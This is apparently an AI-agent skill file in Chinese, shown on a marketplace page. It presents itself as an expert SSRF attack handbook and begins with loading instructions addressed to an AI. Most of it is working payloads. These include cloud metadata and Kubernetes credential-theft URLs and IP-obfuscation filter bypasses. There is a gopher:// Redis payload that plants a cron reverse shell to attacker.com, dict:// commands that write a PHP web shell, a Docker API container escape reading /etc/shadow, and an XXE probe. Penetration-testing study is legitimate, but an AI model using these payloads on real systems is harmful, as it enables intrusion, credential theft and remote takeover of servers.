ssrf-server-side-request-forgery

ssrf-server-side-request-forgery

热门

SSRF 实战手册。当服务端涉及 URL 拉取、域名解析、远程内容导入,或者可能被诱导访问内网、云厂商 Metadata 及二次协议时使用。

1516Star
196Fork
更新于 2026/6/16
SKILL.md
只读
名称
ssrf-server-side-request-forgery
描述

SSRF 实战手册。当服务端涉及 URL 拉取、域名解析、远程内容导入,或者可能被诱导访问内网、云厂商 Metadata 及二次协议时使用。

SKILL:服务端请求伪造(SSRF)—— 专家级攻击手册

AI 加载指令:SSRF 进阶实战技巧。涵盖 URL 过滤绕过、云 Metadata 端点、协议利用、盲注 SSRF 检测以及组合拳接管 RCE。基础大模型仅了解最基本的 169.254.169.254,本文件补充了它们缺失的精髓内容。如需了解真实 CVE 攻击链、DNS Rebinding 深度解析、K8s SSRF 以及 SSRF → Redis → RCE 完整利用链,请一并加载配套文档 SCENARIOS.md

0. 快速上手

扩展场景

在以下场景中,建议一并加载 SCENARIOS.md

  • WebLogic SSRF (CVE-2014-4210) — 利用 uddiexplorer/SearchPublicRegistries.jsp + operator 参数 + %0D%0A CRLF 注入 Redis 命令
  • SSRF → 内网 Redis → 写入 crontab 反弹 Shell 完整 Payload 链
  • DNS Rebinding 深度解析 — TTL=0 技巧、首次合法/二次内网解析机制、rbndr.us 服务的使用
  • Kubernetes SSRF (CVE-2020-8555) 及利用 DNS Rebinding 实现的绕过 (CVE-2020-8562)
  • 通过 PDF / 截图生成器触发 SSRF — 在 HTML-to-PDF 中利用 <iframe><img>
  • Gopher 协议全量 TCP 注入 — 通过 Gopherus 生成 Redis、MySQL、FastCGI Payload
  • 利用 URL 解析器差异绕过过滤 — #@\@%00@、IPv6 映射 IPv4

进阶参考

在以下场景中,建议一并加载 URL_PARSER_TRICKS.md

  • URL 解析器差异对比表:Python urllib vs requests vs Java URL vs PHP parse_url vs Node url.parse vs Go net/url
  • 完整云厂商 Metadata 端点清单(AWS IMDSv1/v2、GCP、Azure、DigitalOcean、阿里云、Oracle Cloud、Kubernetes、Hetzner、OpenStack)
  • Redis、MySQL、SMTP、FastCGI、Memcached 的 gopher:// Payload 模板(含编码规则)
  • DNS Rebinding 详细攻击流程(含 TTL 操控与 TOCTOU 竞态分析)
  • PDF/wkhtmltopdf/WeasyPrint/Chrome headless/PhantomJS 的 SSRF 模式与数据带出技巧

如果你刚刚发现了一个会发起 URL 请求的参数,可以直接按照下方步骤进行首轮确认。

首轮确认 Payload

http://127.0.0.1/
http://localhost/
http://169.254.169.254/latest/meta-data/
http://[::1]/
http://127.1/

主机校验绕过类型

校验类型 尝试方法
封堵 localhost 字符串 127.0.0.1, 127.1, [::1]
仅封堵直连 IP 内网 DNS 域名、十进制/八进制/十六进制 IP 形式
前缀白名单校验 用户名混淆、子域名混淆、跳转链
遵循 HTTP 重定向 指向内网目标的合法外部重定向 URL
解析一次,请求两次 混合编码或 DNS Rebinding 目标

协议路由目标

攻击目标 推荐协议 / 目标地址
云厂商凭据 Metadata HTTP 端点
内网 HTTP 管理后台 http://127.0.0.1:port/
Redis / 原始 TCP 交互 gopher://
本地文件读取 file://
字典 / Banner 探测 dict://

1. 寻找 SSRF 攻击面

重点关注任何包含 DNS 域名、IP 地址或 URL 的参数

loc=           url=        path=         endpoint=
imageUrl=      dest=       redirect=     uri=
callback=      load=       file=         resource=
link=          src=        data=         ref=

较为隐蔽的 SSRF 矢量

  • PDF / 网页截图生成功能(待抓取的 URL 参数)
  • Webhook 配置字段
  • 通过 URL 进行导入/导出(CSV 导入、RSS/Atom 订阅源)
  • OAuth 重定向 URI(有时会触发服务端 HTTP 请求)
  • 反向代理链中的 X-Forwarded-Host / X-Real-IP 请求头
  • 包含外部实体的 XML DOCTYPEfile://http://
  • GraphQL @link 指令(联邦图谱)
  • Content-Type: text/html 页面解析时提取的 <link> 预加载请求头

2. 基础确认方法论

步骤 1:提交你的 Burp Collaborator / interact.sh URL
        → 检查目标服务器是否发起出站连接(确认存在全功能 SSRF)

步骤 2:若未收到外带回调 → 测试基于时间的延迟差异(端口开放 = 响应快,端口关闭 = 响应慢/重置):
        对比以下响应时间:
        http://192.168.1.1:22   (可能开放 → 快速响应)
        http://192.168.1.1:9999 (可能关闭 → 响应慢/超时)

步骤 3:尝试访问本地服务(localhost):
        http://127.0.0.1:8080
        http://127.0.0.1:22
        http://127.0.0.1:6379  (Redis)
        http://127.0.0.1:9200  (Elasticsearch)
        http://127.0.0.1:5984  (CouchDB)
        http://127.0.0.1:2375  (Docker daemon — 高危!)
        http://127.0.0.1:4840  (内网管理后台)

3. 云厂商 METADATA 端点 —— 必测项

AWS EC2 IMDSv1(无需身份验证 —— 严重高危)

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

AWS IMDSv2(需要 Token —— 但需排查 SSRF 是否能获取该 Token)

Step 1: PUT http://169.254.169.254/latest/api/token
        Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
Step 2: GET http://169.254.169.254/latest/meta-data/
        Header: X-aws-ec2-metadata-token: TOKEN

若 SSRF 支持自定义请求头 → 可实现 IMDSv2 完整绕过

谷歌云 (Google Cloud)

http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Headers: Metadata-Flavor: Google

微软云 (Azure)

http://169.254.169.254/metadata/instance?api-version=2021-02-01
Headers: Metadata: true
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/

阿里云 (Alibaba Cloud)

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/

Kubernetes 服务账号凭据

file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
http://kubernetes.default.svc/api/v1/namespaces/default/secrets

4. IP 地址过滤绕过技巧

169.254.169.254127.0.0.1localhost 被黑名单拦截时:

Localhost 变体

127.0.0.1
127.1
127.0.1
127.000.000.001    ← 八进制填充
0x7f000001         ← 十六进制
2130706433         ← 十进制 (0x7f000001)
0177.0000.0000.0001  ← 八进制
[::]               ← IPv6 环回
[::1]              ← IPv6 环回
[::ffff:127.0.0.1] ← IPv4 映射 IPv6

169.254.169.254 变体

169.254.169.254
2852039166               ← 十进制
0xa9fea9fe               ← 十六进制
0251.0376.0251.0376      ← 八进制
[::ffff:169.254.169.254] ← IPv6
169.254.169.254.nip.io   ← DNS Rebinding 服务

内网私有地址段

10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
fc00::/7  ← IPv6 私有地址段

通过 DNS 输入绕过过滤

若过滤机制仅校验 DNS 解析后的 IP(而非输入的域名本身):

http://attacker.com/  ← DNS A 记录指向 169.254.169.254

使用 DNS Rebinding:首次查询返回合法外网 IP → 绕过黑名单校验 → 第二次请求解析为内网目标 IP。


5. URL 协议头(Scheme)攻击

http:// 允许使用或过滤不严时:

file:///etc/passwd
file:///proc/self/environ
file:///proc/net/arp   ← 泄漏内网网络 ARP 表
file:///proc/net/tcp   ← 开放的网络连接

dict://127.0.0.1:6379/INFO   ← 通过 dict:// 执行 Redis INFO 命令

gopher://127.0.0.1:6379/_INFO%0d%0a   ← 通过 gopher 协议交互 Redis
gopher://127.0.0.1:9200/   ← Elasticsearch

sftp://attacker.com:11111/   ← 触发 SFTP 连接(获取凭据哈希)
ldap://attacker.com:389/     ← 触发 LDAP 绑定请求
ftp://attacker.com/          ← 触发 FTP 连接

Redis Gopher SSRF(可直接接管 RCE)

gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0Aping%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2456%0D%0A%0D%0A%0A%0A*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0A%0A%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

6. 盲注型 SSRF(Blind SSRF)检测

当响应包中不回显抓取到的内容时:

  1. Burp Collaborator / interact.sh:检查是否有来自目标服务器的 DNS + HTTP 请求
  2. Pingback / Webhook 滥用:将应用本身的 Webhook 地址配置为你控制的外部 URL
  3. 基于时间的延迟分析:利用内网开放端口与关闭端口的响应时间差进行推断
  4. 报错信息分析:通过“Host Not Found”、“Connection Refused”或“Timeout”等不同报错提示探测内网拓扑

7. 内网服务深入利用

Docker API(2375 端口未授权访问)

http://127.0.0.1:2375/v1.24/containers/json      ← 列出容器
http://127.0.0.1:2375/v1.24/images/json          ← 列出镜像
# 创建特权容器 → 逃逸至宿主机:
POST http://127.0.0.1:2375/v1.24/containers/create
{"Image":"alpine","Cmd":["cat","/etc/shadow"],"HostConfig":{"Binds":["/:/host"]}}

Elasticsearch(9200 端口默认未授权)

http://127.0.0.1:9200/_cat/indices
http://127.0.0.1:9200/.kibana/_search
http://127.0.0.1:9200/INDEX_NAME/_search?q=*

Redis(6379 端口常见的未授权访问)

dict://127.0.0.1:6379/CONFIG:SET:dir:/var/www/html
dict://127.0.0.1:6379/CONFIG:SET:dbfilename:shell.php
dict://127.0.0.1:6379/SET:key:<?php system($_GET[c]);?>
dict://127.0.0.1:6379/BGSAVE

内网管理后台

http://127.0.0.1:8080/admin
http://127.0.0.1:8443/admin
http://127.0.0.1:9000/actuator   ← Spring Boot Actuator(暴露的监控端点)
http://127.0.0.1:9000/actuator/env
http://127.0.0.1:9000/actuator/heapdump

8. SSRF 与过滤绕过决策树

发现 SSRF 参数?
├── 尝试直连 http://169.254.169.254/ → 被拦截?
│   ├── 尝试十进制 / 十六进制 / 八进制变体
│   ├── 尝试 IPv6 变体 [::ffff:169.254.169.254]
│   ├── 尝试 DNS Rebinding(nip.io、自建域名 NS)
│   └── 尝试 302 重定向:attacker.com → 169.254.169.254
│
├── 尝试 http://127.0.0.1/ → 被拦截?
│   ├── 尝试 127.1 / 127.0.1 / 0x7f000001 / 2130706433
│   ├── 尝试 localhost(某些黑名单未覆盖)
│   └── 尝试 IPv6 [::1]
│
├── 允许哪些协议?
│   ├── dict:// → 测试 Redis、Memcached
│   ├── gopher:// → 完整 TCP 数据注入(攻击 Redis / SMTP)
│   ├── file:// → 本地文件读取
│   └── sftp:// ldap:// ftp:// → 网络协议交互
│
└── 盲注型 SSRF → 使用 Burp Collaborator 外带
    └── 仅支持 DNS 外带 → 使用 DNS Rebinding 或 OOB DNS 盲注

9. SSRF 过滤防护的对抗思维

借鉴 zseano 的渗透测试思维:如果开发者仅仅直接硬编码拦截 169.254.169.254,而没有校验完整路径 http://169.254.169.254/latest/meta-data,或者忽略了以下情况:

  • 等价的 IPv6 表达形式
  • 解析至内网 IP 的 DNS 域名
  • 重定向链(服务端跟随 302 跳转至内网 IP)

典型漏洞盲区:应用拦截了 127.0.0.1,但漏掉了 127.1[::1]localhost

基于 XML 的应用层 SSRF(当应用会解析 XML 时):

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<request>&xxe;</request>